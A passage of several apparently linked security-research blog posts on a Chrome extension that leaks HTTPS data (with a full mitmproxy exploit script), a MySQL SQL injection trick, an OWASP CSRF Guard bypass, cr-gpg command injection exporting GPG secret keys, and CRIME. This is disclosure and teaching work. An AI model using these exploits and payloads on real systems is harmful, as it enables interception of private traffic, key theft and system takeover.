http://io9.com/5574009/how-to-overthrow-the-government-tips-from-10-science-fiction-revolutionaries
http://williamblum.org/essays/read/overthrowing-other-peoples-governments-the-master-list
http://www.telegraph.co.uk/news/worldnews/northamerica/usa/9504380/US-soldiers-plotted-to-overthrow-government.html
http://ariannaonline.huffingtonpost.com/books/overthrow/
http://www.amazon.com/How-Overthrow-Government-Arianna-Huffington/dp/B000C4SYPC
http://codes.lp.findlaw.com/uscode/18/I/115/2385
</pre>
Here's exemplary Google search and a view of what's sent over the proxy.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1QI90AbMWUWFTs149_1HQ8ywxhzt9NS7kJmpagHBjbdKAdJnwY8dLYgHNTfhZO3OtdwI80Hf730Tm6bPWJ6bJ0eplqUl23c1kQw9i2KVdHdQuVAmyQhRET47Or_VHZEL4H-N6Zcqn1DQ/s1600/searches_not_secure_anymore.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1QI90AbMWUWFTs149_1HQ8ywxhzt9NS7kJmpagHBjbdKAdJnwY8dLYgHNTfhZO3OtdwI80Hf730Tm6bPWJ6bJ0eplqUl23c1kQw9i2KVdHdQuVAmyQhRET47Or_VHZEL4H-N6Zcqn1DQ/s320/searches_not_secure_anymore.png" width="320" /></a>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSAypZZ5kYutUWP1BKMwWFoc6wuaeLKYwykelhkfCaV1f_1HYVaeQQHVGw6QwC_xLWsPLG4mfOcW9Ez2yO4bqsc9r1Wn7mvio3xhaDH_T_eTnunCapMH6Gdyi-3dFFK_dH1cMws-8CBkQ/s1600/searches_not_secure.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSAypZZ5kYutUWP1BKMwWFoc6wuaeLKYwykelhkfCaV1f_1HYVaeQQHVGw6QwC_xLWsPLG4mfOcW9Ez2yO4bqsc9r1Wn7mvio3xhaDH_T_eTnunCapMH6Gdyi-3dFFK_dH1cMws-8CBkQ/s320/searches_not_secure.png" width="320" /></a>
</div>
Notice that the URL and extracted page information <b>travels over HTTP </b>to <span style="font-family: "Courier New",Courier,monospace;">http://widgets.alexa.com</span>. So in man-in-the-middle attackers can access the information that extension is configured to send to Alexa.<br />
<br />
Bottom line - Amazon is evil. <br />
<h2 style="text-align: left;">
Amazon, did you just.... really?!</h2>
The real problem though is that attackers can actively exploit described
extension features to hijack your information, e.g. get access to your
HTTPS URLs and page contents. Extension dynamically configures itself by fetching information from Amazon. Namely, upon installation (and then periodically) it requests and processes two config files. Exemplary config is presented below:
<br />
<pre class="brush:js">// httpsdatalist.dat
[
"https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]"
]
</pre>
<pre class="brush:js">// search_conf.js
{
"google" : {
"urlexp" : "http(s)?:\\/\\/www\\.google\\..*\\/.*[?#&]q=([^&]+)",
"rankometer" : {
"url" :"http(s)?:\\/\\/(www(|[0-9])|encrypted)\\.(|l\\.)google\\..*\\/",
"reload": true,
"xpath" : {
"block": [
"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]"
],
"insert" : [
"./div/div/div/cite",
"./div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite",
"./div/div/div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite"
],
"target" : [
"./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
"./h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
"./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href"
]
}
},
...
},
...
</pre>
First file defines what HTTPS sites can be inspected. The second file defines URL patterns to watch for, and <a href="http://en.wikipedia.org/wiki/XPath">XPath</a> expressions to extract content being reported back to Alexa. The files are fetched from these URLs:
<br />
<ul>
<li><a href="http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat">http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat</a></li>
<li><a href="http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/search_conf.js">http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/search_conf.js</a></li>
</ul>
Yes. The configuration for reporting extremely private data <b>is sent over plaintext HTTP</b>. WTF, Amazon?<br />
<h2 style="text-align: left;">
Exploitation</h2>
Exploiting this is very simple:<br />
<ol style="text-align: left;">
<li>Set up/simulate a HTTP man-in-the-middle</li>
<li>Listen for HTTP requests for above config files</li>
<li>Respond with wildcard configuration (listen to all <span style="font-family: "Courier New",Courier,monospace;">https://</span> sites & extract whole body)</li>
<li>Log all subsequest HTTP requests to Alexa, gathering previously encrypted client webpages.</li>
</ol>
For demonstration purposes, I've made a <a href="http://mitmproxy.org/">mitmproxy</a> script that converts Amazon 1Button Chrome extension to <b>poor man's transparent HTTPS->HTTP proxy</b>.<br />
<pre class="brush: text">#!/usr/bin/env python
def start(sc):
sc.log("Amazon One Click pwner started")
def response(sc, f):
if f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/search_conf.js'):
f.response.decode() # removes gzip header
f.response.content = open('pwn.json','r').read()
elif f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat'):
f.response.decode() # removes gzip header
f.response.content = '["https://"]' # log'em all
def request(sc, f):
if f.request.path.startswith('/traffic/rankr/'):
q = f.request.get_query()
p = q.get_first('ref')
if p and f.request.content:
c = open('pwn.log', 'a')
c.write(p + "\n" + f.request.get_decoded_content() + "\n============\n")
c.close()
</pre>
and complimetary <span style="font-family: "Courier New",Courier,monospace;">pwn.json</span>:<br />
<br />
<pre class="brush: js">{
"pwn" : {
"urlexp" : "http(s)?:\\/\\/",
"rankometer" : {
"url" :"http(s)?:\\/\\/",
"reload": true,
"xpath" : {
"block": [
"//html"
],
"insert" : [
"//html"
],
"target" : [
"//html"
]
}
},
"cba" : {
"url" :"http(s)?:\\/\\/",
"reload": true
}
}
}
</pre>
To start the attack, simply route all HTTP (port 80) traffic to mitmproxy and launch the script:
<br />
<pre class="brush:bash">$ mitmproxy -s pwn.py
</pre>
Now install the extension in your Chrome (or disable and enable it to quickly reload configuration) and start browsing. All captured HTTPS data will be in <span style="font-family: "Courier New",Courier,monospace;">pwn.log</span> file.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/Fa8oNTn7KEM" width="420"></iframe><br />
<br />
Exploit source: <a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/amazon-1button">GitHub</a><br />
<h2 style="text-align: left;">
Limitations</h2>
<ul style="text-align: left;">
<li>We are limited to XPath expressions to retrieve content, so I can't return the usual HTML source, nor can I access headers etc. The closest I got is string value of <span style="font-family: Courier New, Courier, monospace;">//html</span> node, which is somewhat the content of all text nodes on a page</li>
<li>AJAX applications snooping works poorly, as the extension does not report <span style="font-family: Courier New, Courier, monospace;">XMLHttpRequest</span> responses</li>
<li>We are only passively listening, no option to modify traffic </li>
</ul>
Nevertheless, there's plenty of private info in captured traffic. CSRF tokens, session ids, email contents, Google Drive document content, you name it. Thank you, Amazon, for protecting my privacy. But seriously - move all your extension traffic to HTTPS only. Better yet, remove the tracking code altogether.</div>
<br />
I've done other research on <a href="http://blog.kotowicz.net/search/label/chrome">Google Chrome extension security</a>, read more if you found the topic interesting.<br />
<br />
<b>Update: </b>One day after the publication, Amazon did not stop tracking, but fixed the vulnerability - the config links are now served over HTTPS. Once again, <a href="http://www.schneier.com/essay-146.html">full disclosure</a> helped the common folks' security.</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com24tag:blogger.com,1999:blog-3650259870998252242.post-42045344943172955902013-01-11T17:24:00.001+01:002013-01-14T03:00:27.974+01:00Abusing MySQL string arithmetic for tiny SQL injections<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
Today I've found a small nifty trick that may become helpful when exploiting SQL injection vulnerabilities for MySQL. Namely, you can abuse MySQL string typecasting.<br />
<br />
But first, let's look at this:<br />
<h2>
MySQL, what are you doing?</h2>
<pre class="brush:text;highlight:[19,20,21,22,23,24,25]" name="code">mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name | varchar(20) | YES | | NULL | |
| num | int(11) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
</pre>
WTF just happened? Warnings clear up the situation a little bit:<br />
<pre class="brush:text" name="code">mysql> show warnings;
+---------+------+--------------------------------------------+
| Level | Code | Message |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa' |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)
</pre>
Minus operator used on strings converted them to DOUBLE, a numeric value. What's the result of this statement?<br />
<pre class="brush:text" name="code">mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
</pre>
So for each row the 'name' column was compared to 0. That triggerred another type conversion and, with a warning, for each row the effective value was 0, which satisfied the WHERE condition (<span style="font-family: Courier New, Courier, monospace;">0 = ''-''</span>).<br />
<h2>
The SQL injection part</h2>
How can the attacker abuse this quirk? Imagine that you:<br />
<ul style="text-align: left;">
<li>have a limited character set (e.g. no whitespace, no equals sign, no parenthesis, no letters) or small length available,</li>
<li>vulnerable query <span style="font-family: Courier New, Courier, monospace;">SELECT secret FROM table WHERE secret='<b>$injection</b>' AND another>5 AND ...</span> .that needs to return at least one row,</li>
<li>and you don't know the values for the <span style="font-family: Courier New, Courier, monospace;">secret</span> column (they're not easily enumerable),</li>
</ul>
<div>
Simple payload:<b> <span style="font-family: Courier New, Courier, monospace;">'-''#</span></b> will turn that query into:</div>
<pre name="code">SELECT secret FROM table WHERE fld='<b>'-''#</b> AND .....
</pre>
and will return all rows (apart from those that match <span style="font-family: Courier New, Courier, monospace;">/^-?[0-9]/</span>)<br />
<br />
You can use the same trick with <span style="font-family: Courier New, Courier, monospace;">''+''</span>, <span style="font-family: Courier New, Courier, monospace;">''&''</span>,<span style="font-family: Courier New, Courier, monospace;">''^''</span> and<span style="font-family: Courier New, Courier, monospace;"> ''*''</span>. Beware though:</div>
<pre class="brush:text" name="code">mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)
mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)
</pre>
Another trick would be to simply compare a string column to <span style="font-family: Courier New, Courier, monospace;">''-0</span>:
<br />
<pre class="brush:text" name="code">mysql> select * from t where name=''-0;
+--------+------+
| name | num |
+--------+------+
| nazwa | 3 |
| second | 4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
</pre>
<br />
The tricks mentioned here were tested on MySQL 5.5 and 5.1, but should work in older versions too.<br />
<br />
And that's all folks. For all your SQL injection techniques, I highly recommend The <a href="http://websec.ca/kb/sql_injection">SQL injection reference</a> by <a href="https://twitter.com/LightOS">Roberto Salgado</a>. It helped me numerous times and is in my opinion the best reference on SQLi ever made.</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com6tag:blogger.com,1999:blog-3650259870998252242.post-75458257935550261732012-12-07T17:40:00.001+01:002012-12-07T17:49:14.676+01:00On handling your pets and a CSRF protection that wasn't<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Security is hard</b>. While security-related issues are fun and challenging subject for many - fun enough for them to take part in various CTFs, crackmes etc, it's usually not the first thing a developer cares for. Yes, they <b>do</b> have other priorities. That's why usually leaving a developer with a task of writing security-related code results in either:<br />
<ul style="text-align: left;">
<li><a href="http://www.kluner.net/2011/01/03/sonys-random-generator/">total fail</a>,</li>
<li><a href="http://blog.kotowicz.net/2011/08/how-not-to-implement-captchas.html">major fail</a>,</li>
<li><a href="http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-ruby-on-rails/">minor fail</a>, </li>
<li>or using well-respected libraries for the task.</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://farm3.staticflickr.com/2677/4295682155_483e4a97b8_z_d.jpg?zz=1" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="320" src="http://farm3.staticflickr.com/2677/4295682155_483e4a97b8_z_d.jpg?zz=1" width="227" /></a></div>
<h2>
Look what I found, ma!</h2>
<div>
Using libraries though is like bringing a pet home. Sure, it's cute and all, but you should be responsible for it from now on. That means you should:<br />
<div style="text-align: left;">
</div>
<ol style="text-align: left;">
<li><b>Care for it</b> day after day (= keep libraries up to date).</li>
<li><b>Observe it</b>. If it's sick, go to a vet (= monitor for security vulnerabilities discovered).</li>
<li>Accept that it's a <b>part of the family</b> now (= treat it with as much scrutiny as your own code).</li>
</ol>
<div>
Whatever you're bringing into your codebase, wherever it came from - it's your responsibility now. No matter if it's a snippet found in a forum, a github.com hosted library used by a few dozen people or a project used for many years and extensively tested. It may have a security vulnerability, it may be used insecurely, it may not be a right tool for a task. Be skeptical.
<br />
<h2>
The code allmighty</h2>
<b>There are no sacred cows</b>. Any code is just that - a piece of instructions made by humans, with a certain possibility of having errors, some of that security related. And <a href="http://en.wikipedia.org/wiki/Space_Shuttle_Challenger_Disaster">every human makes mistakes</a>, some of them catastrophic.</div>
<div>
<br />
Let me give you an example - OWASP <a href="https://www.owasp.org/index.php/PHP_CSRF_Guard">PHP CSRF Guard</a> - a small library for enriching your PHP application with <a href="https://www.owasp.org/index.php/CSRF">CSRF</a> protection. Similar to what <a href="https://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project">OWASP CSRFGuard</a> does for Java applications. This small library is presented in Open <b>Web Application Security</b> Project wiki, so it must be secure.....Right?<br />
<br />
No. No sacred cows, remember? Take a look:
<br />
<pre class="brush:php;highlight:[7]" name="code">if (!isset($_POST['CSRFName']))
{
trigger_error("No CSRFName found, probable invalid request.",E_USER_ERROR);
}
$name =$_POST['CSRFName'];
$token=$_POST['CSRFToken'];
if (!csrfguard_validate_token($name, $token))
{
trigger_error("Invalid CSRF token.",E_USER_ERROR);
}
</pre>
Application uses separate tokens for every form. Upon form submission, it gets form id (<span style="font-family: Courier New, Courier, monospace;">CSRFName</span>) and appropriate token (<span style="font-family: Courier New, Courier, monospace;">CSRFToken</span>) from POST request and calls <span style="font-family: Courier New, Courier, monospace;">csrf_validate_token()</span>. So far so good. Let's dig deeper though.</div>
</div>
<pre class="brush:php;highlight:[3,8,9,10,11]" name="code">function csrfguard_validate_token($unique_form_name,$token_value)
{
$token=get_from_session($unique_form_name);
if ($token===false)
{
return true;
}
elseif ($token==$token_value)
{
$result=true;
}
else
{
$result=false;
}
unset_session($unique_form_name);
return $result;
}
</pre>
Function retrieves the token for a form id from session (get_from_session). Function returning false is some exception, let's skip that. Then token value from POST is compared to its session equivalent. Looks ok. But..
<br />
<pre class="brush:php;highlight:[5]" name="code">function get_from_session($key)
{
if (isset($_SESSION))
{
return $_SESSION[$key];
}
else { return false; } //no session data, no CSRF risk
}
</pre>
What happens if there is no such $key in <span style="font-family: Courier New, Courier, monospace;">$_SESSION</span>? <span style="font-family: Courier New, Courier, monospace;">null</span> will be returned. So, retrieving a token for non-existent form id will return null.<br />
<br />
Guess what? <a href="http://php.net/manual/en/language.operators.comparison.php">In PHP</a>, <b>null == ""</b>. So, submitting this:
<br />
<pre name="code">CSRFName=CSRFGuard_idontexist&CSRFToken=&input1=value1&input2=value2....
</pre>
in your POST request will call:
<br />
<pre class="php" name="code">csrfguard_validate_token('CSRFGuard_idontexist', '') // and then
$token = get_from_session('CSRFGuard_idontexist') = null; // =>
$token_value = ''; // =>
$token_value == $token; // =>
return true;
</pre>
Total CSRF protection bypass. <b>No sacred cows. </b>Of course, the code in OWASP wiki has been fixed now.<br />
<br />
Developers, remember: Do not blindly include libraries, even OWASP ones, <b>without testing them</b>, especially for security errors. If you can't do it - there are other people who can ( ^-^ ). After all, even if it's adopted, it's part of the family now.</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com19tag:blogger.com,1999:blog-3650259870998252242.post-4039742845146223462012-11-09T14:10:00.001+01:002012-11-09T14:10:54.295+01:00Keys to a kingdom - can you crack a JS crypto?<div dir="ltr" style="text-align: left;" trbidi="on">
I've posted a small, quick challenge for all of you to try. It's got it all - HTML5, crypto, client-side Javascript, fast action, neat dialogues and a beautiful princess.<br />
<br />
It can be solved in multiple ways. Even if you've already beaten it - try doing it another way. I can promise that you'll learn something new along the way.<br />
<br />
So, without further ado, I present to you:<br />
<br />
<div style="text-align: center;">
<span style="font-size: x-large;"><a href="http://koto.github.com/blog-kotowicz-net-examples/keys-to-kingdom/">Keys to a kingdom!</a></span></div>
<div style="text-align: center;">
<span style="text-align: left;"><br /></span></div>
Good luck!</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com3tag:blogger.com,1999:blog-3650259870998252242.post-60817423697827470932012-09-28T13:01:00.000+02:002012-12-07T09:51:02.177+01:00Owning a system through a Chrome extension - cr-gpg 0.7.4 vulns<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<b>tldr;</b> read all. fun stuff.</div>
<div>
<br /></div>
I've recently shown <a href="http://blog.kotowicz.net/search/label/chrome">a few ways</a> one can abuse certain Chrome extensions. For example it is possible to <a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html">fingerprint all the extensions</a> current user has installed. Also, they suffer from standard web vulnerabilities. <b>XSS</b> is so common that I've built <a href="http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html">XSS Chef</a> to assist the exploitation. Together with <a href="https://twitter.com/theKos">@theKos</a> we ran workshops on exploiting Chrome extensions.<br />
<br />
But the most interesting vulnerabilities may be hidden in the code of plugins (<a href="https://wiki.mozilla.org/NPAPI">NPAPI</a> .dll, .so files) that are sometimes bundled with extensions. These are binary files that run <b>outside of Google Chrome sandboxes</b>. Plugin functions are of course being called from extensions Javascript code. So, through XSS one could exploit e.g. a buffer overflow, use-after-free and, theoretically, hijack OS user account.<br />
<br />
The threat isn't theoretical though. I was able to find a chain of vulnerabilities in <a href="http://thinkst.com/tools/cr-gpg/">cr-gpg</a> extension which handles PGP encryption/decryption from within Gmail interface. Funny thing - the exact same vulnerabilities were reported independently by <a href="http://gynvael.coldwind.pl/?id=487">Gynvael Coldwind</a> - great finds, Gynvael! All reported issues below were <b>present in 0.7.4 </b>version and <b>are fixed in >=0.8.2.</b><br />
<div>
<a name='more'></a><div>
<h2 style="text-align: left;">
DOM XSS when injecting decrypted message content back into gmail interface.
</h2>
<pre class="js" name="code">// content_script.js, line 26.
$($(messageElement).children()[0]).html(tempMessage);
</pre>
<br />
To exploit this, attacker can PGP encrypt javascript payload (<span style="font-family: Courier New, Courier, monospace;"><script>alert(1)</script></span>) and send it to the victim. Upon decryption, the payload would be:<br />
<ul style="text-align: left;">
<li>in <a href="http://mail.google.com/">mail.google.com</a> origin ( = a Gmail XSS with all consequences)</li>
<li>in extension context (so attacker can e.g. send <span style="font-family: Courier New, Courier, monospace;">chrome.extension.sendRequests()</span> )</li>
</ul>
<h2 style="text-align: left;">
Command injection in extension gmailGPG plugin</h2>
Extension uses NPAPI plugin that forwards the encryption/decryption etc. to your local gpg installation. Insecure API is being used to call the <span style="font-family: Courier New, Courier, monospace;">gpg</span> program (mainly, there's just a string concatenation). Some of the strings are user-controllable (e.g. message body, recipients - it depends on a function called). By manipulating these parameters it is possible to introduce arbitrary commands to run on the target machine.<br />
<br />
Example:
<br />
<pre class="plain" name="code">// gmailGPGAPI.cpp
//Encrypts a message with the list of recipients provided
FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients,const FB::variant& msg)
{
string tempFileLocation = m_tempPath + "errorMessage.txt";
string tempOutputLocation = m_tempPath + "outputMessage.txt";
string gpgFileLocation = "\""+m_appPath +"gpg.exe\" ";
vector<string> peopleToSendTo = recipients.convert_cast<vector<string> >();
string cmd = "c:\\windows\\system32\\cmd.exe /c ";
cmd.append(gpgFileLocation);
cmd.append("-e --armor");
cmd.append(" --trust-model=always");
for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {
cmd.append(" -r");
cmd.append(peopleToSendTo.at(i));
}
cmd.append(" --output ");
cmd.append(tempOutputLocation);
cmd.append(" 2>");
cmd.append(tempFileLocation);
sendMessageToCommand(cmd,msg.convert_cast<string>());
</pre>
The final command line becomes:
<br />
<pre class="plain" name="code">gpg -e --armor --trust-model=always -r [!recipients!] --output out.txt 2>err.txt</pre>
which the attacker can modify to e.g. :
<br />
<pre class="plain" name="code"># export secret keys instead of encrypting message
gpg -e --armor --trust-model=always -r dummy@mail --no-auto-key-locate >nul
&& gpg --export-secret-keys --armor --output out.txt 2>err.txt
# pwnme please
gpg -e --armor --trust-model=always -r dummy@mail --no-auto-key-locate >nul;
pwnme; echo --output out.txt 2>err.txt
</pre>
<br />
There are also other injection points in other functions. But how are this functions called? DLL functions are called by the Chrome extension background script:<br />
<pre class="js" name="code">chrome.extension.onRequest.addListener(
function(request, sender, sendResponse) {
//...
plugin0().appPath = gpgPath; // plugin0 is the DLL object
plugin0().tempPath = tempPath;
if (request.messageType == 'encrypt'){
var mailList = request.encrypt.maillist.filter(function(val) { return val !== null; });
//...
var mailMessage = request.encrypt.message;
// DLL "encrypt" funciton is called
sendResponse({message: plugin0().encrypt(mailList,mailMessage),domid:request.encrypt.domel});
</pre>
Cr-gpg background script <b>listens for requests</b> coming from a content script that enhances Gmail UI. When user presses the 'encrypt' button, content script gathers from Gmail DOM the message text, recipients etc. and sends those to background script (<span style="font-family: Courier New, Courier, monospace;">sendRequest()</span> method). Background script forwards those to the DLL which executes the command line.<br />
<br />
The problem: arbitrary <span style="font-family: Courier New, Courier, monospace;">sendRequest()</span> can be written in XSS payload too.<br />
<h2 style="text-align: left;">
Exploit</h2>
These vulnerabilities can be combined - the first one (triggered by decrypting a message from the attacker) can launch an exploit against second one (by calling <span style="font-family: Courier New, Courier, monospace;">chrome.extension.sendRequest()</span>). See <a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/cr-gpg/exploit.js">the exploit code</a>.<br />
Once you encrypt it and send to the victim, upon decryption in cr-gpg it will:<br />
<ul style="text-align: left;">
<li>fetch all gmail contacts</li>
<li>fetch inbox page HTML</li>
<li><b>export PGP secret keys</b></li>
<li>attach a keylogger to <b>listen for a secret key passphrase</b></li>
<li>send all these back to attacker</li>
<li>Oh, and <b>meterpreter shell</b> is also launched (thanks to <a href="http://wampir.mroczna-zaloga.org/">Paweł Goleń</a>'s help)</li>
</ul>
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="315" src="http://www.youtube.com/embed/97AKa0YVraE" width="560"></iframe>
<br />
That exploit and many more were described in greater details <a href="http://2012.brucon.org/index.php/Talks_and_workshops#Kyle_.27Kos.27_Osborn_.26_Krzysztof_Kotowicz_-_Advanced_Chrome_Extension_Exploitation_.282h.29">in our BruCON workshops</a>. I've just published slides for the workshops:<br />
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="356" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/14500837" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px;" width="427"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="http://www.slideshare.net/kkotowicz/advanced-chrome-extension-exploitation" target="_blank" title="Advanced Chrome extension exploitation">Advanced Chrome extension exploitation</a> </strong> from <strong><a href="http://www.slideshare.net/kkotowicz" target="_blank">Krzysztof Kotowicz</a></strong> </div>
<br /></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/11516786094492717236noreply@blogger.com3tag:blogger.com,1999:blog-3650259870998252242.post-89617909083564931122012-09-11T13:33:00.000+02:002012-09-11T16:56:48.515+02:00If it's a CRIME, then I'm guilty<div dir="ltr" style="text-align: left;" trbidi="on">
<b>tldr:</b> see bottom for the script that demonstrates what CRIME might do.<br />
<h3 style="text-align: left;">
A secret crime </h3>
<a href="https://twitter.com/julianor">Juliano Rizzo</a> and Thai Duong did it again. <a href="http://www.theregister.co.uk/2012/09/07/https_sesh_hijack_attack/">Their new attack on SSL called CRIME</a>, just like their previous one, <a href="http://www.schneier.com/blog/archives/2011/09/man-in-the-midd_4.html">BEAST</a> is able to extract cookie values (to perform a <a href="https://www.owasp.org/index.php/Session_hijacking_attack">session hijack</a>) from SSL/TLS encrypted sessions. BEAST was a chosen plaintext attack and generally required:<br />
<ul style="text-align: left;">
<li>Man-in-the-middle (attacker monitors all encrypted traffic)</li>
<li>Encrypted connection to attacked domain (e.g. victim uses https://mybank.com ) with cookies</li>
<li>Adaptive Javascript code able to send POST requests to attacked domain</li>
</ul>
<div>
Javascript code tried bruteforcing the cookie value character-by-character. The m-i-t-m component was observing the ciphertext, looking for differences, and once it found one, it communicated with the Javascript to proceed to next character.</div>
<div>
<br /></div>
<div>
CRIME should be similar:</div>
<blockquote class="tr_bq">
By running JavaScript code in the browser of the victim and sniffing HTTPS traffic, we can decrypt session cookies," Rizzo told Threatpost. "We don't need to use any browser plugin and we use JavaScript to make the attack faster, but in theory we could do it with static HTML. (<a href="http://www.theregister.co.uk/2012/09/07/https_sesh_hijack_attack/">source</a>)</blockquote>
but the details are not yet known, they are to be released later this month at <a href="http://ekoparty./">Ekoparty</a>.<br />
<br />
However, there are already speculations on what could the attack rely on. In fact, <a href="http://security.stackexchange.com/users/655/thomas-pornin">Thomas Pornin</a> at <a href="http://security.stackexchange.com/">security.stackexchange.com</a> have most likely <a href="http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/">figured it out correctly</a>. The hypothesis is that Rizzo and Duong <b>abuse data compression</b> within the encrypted connection. It's likely as e.g. Chromium disabled TLS compression <a href="https://chromiumcodereview.appspot.com/10825183">recently</a>.<br />
<h3 style="text-align: left;">
Compression-based leakage</h3>
Thanks to Cross Origin Resource Sharing it is possible (and easy) for JS to <a href="http://blog.kotowicz.net/2011/05/cross-domain-arbitrary-file-upload.html">send POST request with arbitrary <b>body</b></a> cross domain. One has limited control over request <b>headers</b> though - e.g. the cookie header will be either attached in full or not at all (it's not possible to set cookies cross-domain). But, the attacker can construct request that looks like this:
<br />
<pre class="plain" name="code">POST / HTTP/1.1
Host: thebankserver.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1
Accept: */*
Cookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
POST / HTTP/1.1
Host: thebankserver.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1
Accept: */*
Cookie: secret=?
</pre>
<br />
To put it simply, in the POST body we're <b>duplicating</b> part of POST headers. This should compress very nicely. We would know most of the header values (from browser fingerprinting, <span style="font-family: Courier New, Courier, monospace;">navigator </span>object etc.), only the cookie value is unknown.<br />
<br />
But, we can <b>bruteforce the first character of the cookie</b> by including it in the POST body (we have no control over headers) after the <span style="font-family: Courier New, Courier, monospace;">secret=</span> string. By observing the compressed ciphertext <i>length</i> (man in the middle) for all such requests we should be able to spot the difference in one of them. The ciphertext would be<b> shorter</b> due to better compression (longer string occured twice in the request). Then, communicate with JS to proceed to next character and the process continues until the whole cookie value is bruteforced.<br />
<br />
That's the theory, at least.<br />
<h3 style="text-align: left;">
PoC or didn't happen !</h3>
<div>
There's no time to repeat the whole man-in-the-middle, adaptive JS, encrypted connection set up, so <a href="http://security.stackexchange.com/users/12826/xorninja">xorninja</a> wrote a <a href="http://pastebin.com/qZdNYgfr">script</a> to check the length of zlib deflated HTTP request strings and deduce the cookie values from there. It didn't work, so I've modified the code by adding an adaptive algorithm (encryption length does not always change, sometimes you have to also mutate the POST body to be certain of a character value etc.)</div>
<div>
<br /></div>
<div>
<b>And it works.</b></div>
<div>
<a href="https://gist.github.com/3696912">Proof of concept</a> can <b>bruteforce the cookie value</b> based on zlib deflated string length only. Cookies can be of arbitrary lengths.</div>
<h3 style="text-align: left;">
So, what next?</h3>
<div>
This PoC would have to be included in the whole SSL/mitm/Javascript BEAST-like context so we can check if it actually works in browsers and leaks real-life cookies. Feel free to experiment. I'm waiting for the actual CRIME disclosure.</div>
<div>
<br /></div>
</div>
